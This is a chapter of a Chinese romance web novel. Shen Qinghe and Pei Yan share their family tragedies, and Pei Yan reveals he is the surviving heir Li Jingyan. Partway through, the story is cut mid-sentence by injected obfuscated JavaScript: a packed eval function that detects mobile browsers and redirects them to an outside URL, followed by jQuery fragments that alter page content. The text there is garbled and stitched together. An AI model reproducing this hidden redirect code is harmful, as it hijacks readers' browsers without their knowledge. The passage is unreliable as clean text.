这一次两人颇为幸运,很快便甩脱了追兵。
待沈青禾站稳脚步,才觉这处院落格外眼熟:“这不是……我家?”
裴砚点头。
沈青禾心中有些诧异,自己从来没有向他提过自己住处,他是如何知晓的?
虽然疑惑,但是沈青禾还是担心自己的安危,毕竟裴砚这么轻而易举的知道自己的家,那那些追兵或许也能知道。
“他们不会追到这里来吧?”一想到这,沈青禾不免有些忧心。
“不会。”裴砚笃定的摇摇头。
沈青禾这才松了口气,径直走向院中的凉亭,取出帕子拂去石凳上薄尘,朝裴砚招手:“过来坐吧。”
裴砚没有作声,安静走到她身旁坐下。
两人就这样坐在夏夜的凉亭中,感受着晚风吹拂。
“你想听听我的故事吗?”沈青禾望着远处月色,忽然开口。
身旁人没有回应。
沈青禾缓缓转头,才发觉裴砚一直注视着自己。
她兀自笑了笑,也不管他愿不愿听,轻声说下去:“我自小就知道,我是个幸运的姑娘。”
“有疼爱我的爹娘,有交心的伙伴。家中虽不富贵,却也从未让我吃苦。想学什么便学什么,倒也学出些名堂。这样看来,我确实幸运得很,好事似乎都落在我头上。”
“可上天终究是公平的。它给你的所有,终会以另一种方式讨回。”
“我记得那是个再平常不过的午后。我从外头回来,便见满院子人跪了一地。我虽不明所以,却看懂爹娘的暗示,也跟着稀里糊涂跪下接了旨。”
“虽是商贾人家,也曾与权贵往来,可接圣旨却是头一回。我原以为是天大的赏赐,可宣旨的人一走,父亲便倒下了。那时我才明白……”沈青禾苦笑:“原来不是恩赏,是祸事。”
“可我仍是幸运的。他们说那是谋逆大罪,却只夺了家产,已是开恩。”
“但一夜之间,什么都变了。我带着爹娘来到京城,又苟活了两年。”
“上天还是眷顾我的。我遇见了你,不仅活下来,还挣到了银钱与名声。”沈青禾看向裴砚,眼神中除了感激,似乎还有些别的什么。
“可我知道,父亲一生清白,绝不会做那样的事。于是我决定回乡查明真相,洗刷冤屈。没想到真让我寻到了线索。所以我仍是幸运的——不仅遇到褚齐,还得他信任,多方照拂。”
“当然,还有秋秋、石赞、阿延……”沈青禾顿了顿,望进裴砚眼中:“还有你。”
“如今,一切都要结束了。”沈青禾站起身,走到亭边。
月光倾泻而下,将她周身笼罩。
她深吸一口气,又缓缓吐出,像是卸下了千斤重担:“明日之后,沈府的灯便不必再熄了。”
她转过身来,朝裴砚莞尔一笑,笑容里带着些尘埃落定的释然。
“是啊,都结束了。”裴砚就这样毫无掩饰地,望着月光里的她。
二人静静对望许久。
“我也给你讲个故事吧。”裴砚忽然开口。
“好呀。”沈青禾快步坐回他面前,托腮等待。
“前朝时,有一户显赫人家,世代为皇商。虽是商贾,却颇得圣心,也算风光。”
“家中最小的孩子,自幼受尽宠爱。他知道纵使不学无术,也有万贯家财可以继承。十二岁那年,他执意要去西蜀游历,家人拗不过,只得由他带着一个同龄侍卫离家。一路上游山玩水,好不快活。”
“可他不知,那竟是他此生最后一段欢愉时光。”
“归家那日,等待他的只剩满目荒芜。母亲在他的秘密基地处藏了一封信,上面道尽变故,原是有人揭发他家意图谋反,证据直呈御前。彼时时局动荡,此事一出闹得人心惶惶,天子震怒,最终满门倾覆。所有人都瞒着他的存在,他最终才得以苟活下来。”
“后来,他从邻村人的口中得知,行的是火刑。面目全非,死无全尸。上至八十老妪,下至襁褓婴孩,无一幸免。该有多疼啊,男孩每每想到这样的场景,都心痛不已,最终受不住打击,一病不起。”
“幸好身边还有那个小侍卫。那侍卫自幼与他一同长大,侍卫的家人也是府中的仆役,早已亲如家人。遭此变故,侍卫虽然也很悲痛,却强撑着用瘦小的脊背背起他,四处求医。就在侍卫快要倒下时,一位好心的老者捡回了他们。”
“老者医好了他们的病,男孩却仍一蹶不振。老者有个女儿,年岁相仿,整日叽叽喳喳缠着他们。没想到,还真让这小姑娘一点点捂热了他的心。”裴砚说到这忽的笑了笑。
他顿了顿继续开口:“男孩好转时,距家破人亡已过去一年。他也不信家人会行谋逆之事,决意查清真相。老者知晓他的心思,决定帮助他了却心愿。原来老者是江湖隐世高人,男孩成功拜入其门下,潜心修炼。”
“他原以为报仇那日,老者能在旁见证。可是待他弱冠之年,将要出山复仇之时,老者却溘然长逝。临终前,他将女儿托付给二人。三人办完丧事,便下了山。”
“他们用仅有的积蓄开了间绣坊,开始了漫长的查证之路。男孩当年年幼,家中事务一概不知,甚至连仇人是谁都无从查起。他暗中建起情报网,刚查到些许蛛丝马迹,却逢改朝换代,一切线索就又都断了。”
“他知道昏君已死,但真凶却仍在逍遥。他没有放弃,一面壮大绣坊,一面扩张情报网。终于寻得一线曙光,却不知不觉……将许多本不该卷入的人牵扯进来。”他看向沈青禾,目光沉痛:“可报仇是他此生夙愿,他不能停。”
“所以他必须舍弃那些不舍的。他要走的路太险,不愿拖累旁人。他只能继续朝黑暗深处走去,不能连光也一并吞噬。”
裴砚忽而一笑:“但男孩相信,他终会如愿。”
沈青禾早已眼眶泛红。
她轻轻将手覆上裴砚心口,声音微颤:“那他还疼吗?”
“早不疼了。”裴砚握住她的手:“疼久了,便习惯了。”
沈青禾忽将手抽回。
裴砚一怔,手仍悬在原处。
下一瞬,沈青禾紧紧抱住了他,泪水浸湿他的肩头:“那男孩……叫什么名字?”
裴砚浑身僵住,双臂悬在半空,连呼吸都屏住片刻。良久,他才低声开口:“李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959595|184825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景延。”
他抬手,轻拍怀中微微颤抖的沈青禾。
“男孩会如愿的。”沈青禾悄悄拭去泪水,松开他,语气笃定。
“但愿吧。”裴砚唇角微扬。他站起身:“时辰不早,该去准备明日的证物了。”
说罢便欲离开。
“裴砚!”沈青禾唤住他。
裴砚回头,静立月光中望着她。
“裴砚、阿延、李景延……都会如愿的。”沈青禾凝视着他,目光坚定:“我也会帮你的。”
“你的事既已了,就该留在江南好好生活。”裴砚却道。
“你帮过我,我自然也要帮你。”沈青禾神色认真:“况且马、吴所为之事,本就密切相关,那我的事也就没算了解,而且,我不能让你单独赴险。”
“前路未卜,你本不必经受这些。”裴砚皱了皱眉。
“我不怕。这条命都是你救回来的,岂能眼看恩人涉险而无动于衷?”
“可……”
“我知道,男孩要舍弃的……也有我,对不对?”沈青禾含笑望他。
裴砚诧异的望向沈青禾,欲言又止,最终妥协似的点点头。
“你不好奇我怎么知道的?”沈青禾忽问。
裴砚仍点头。
“男孩的演技太差,女孩一眼就看穿了。”沈青禾笑着调侃。
见裴砚面露局促,沈青禾不再逗他:“好啦,其实早在京城时我便起疑。可那时你与‘阿延’同时出现过,真把我骗过去了。”
她一步步走近:“后来在李氏旧址,我猜到你与这家族有关,那时几乎断定你就是阿延,却不敢相认。直到火场逃生后你扮作阿延来救我……方才听你一说才明白:阿延是十二岁前的你,裴砚是如今的你。”
“坠崖那日我便确定了。可你还在演,我便只好陪你演下去了。”沈青禾顿了顿:“只是没料到,你竟将往事全盘托出……看来是铁了心要抛下我。”
说完沈青禾夸张地长舒一口气。
“我只是怕你受伤。我已失去太多,不敢再赌。”
“可有你,有阿延,有李景延在,我不会受伤。”沈青禾反倒安慰起他来。
“可……”
“行了,我印象中的裴砚可不是这般优柔寡断之人。”沈青禾截断他的话。
“走吧,该去见褚齐了。”她催促道。
裴砚点头,默默跟在她身后。
“话说,往后我该唤你什么?阿延?李景延?还是裴砚?”沈青禾转过身,倒着往前走,笑盈盈问。
“看路。”裴砚将她的身子转回去:“随你。李景延是从前的名;裴砚是我自己取的,随母姓;阿延……是乳名。”
“哦——”沈青禾拖长语调:“可如今你既不是阿延,也不是李景延。”
“他们都是我。”
“不不,阿延温柔体贴,李景延天真烂漫,与你天差地别。”沈青禾忽然坏笑:“何时让我见见阿延呀?”
裴砚不理她,只将她的脸扳回去,无情道:“不行。”
“那见见李景延也成!”沈青禾不甘心地挣扎。
“不行!”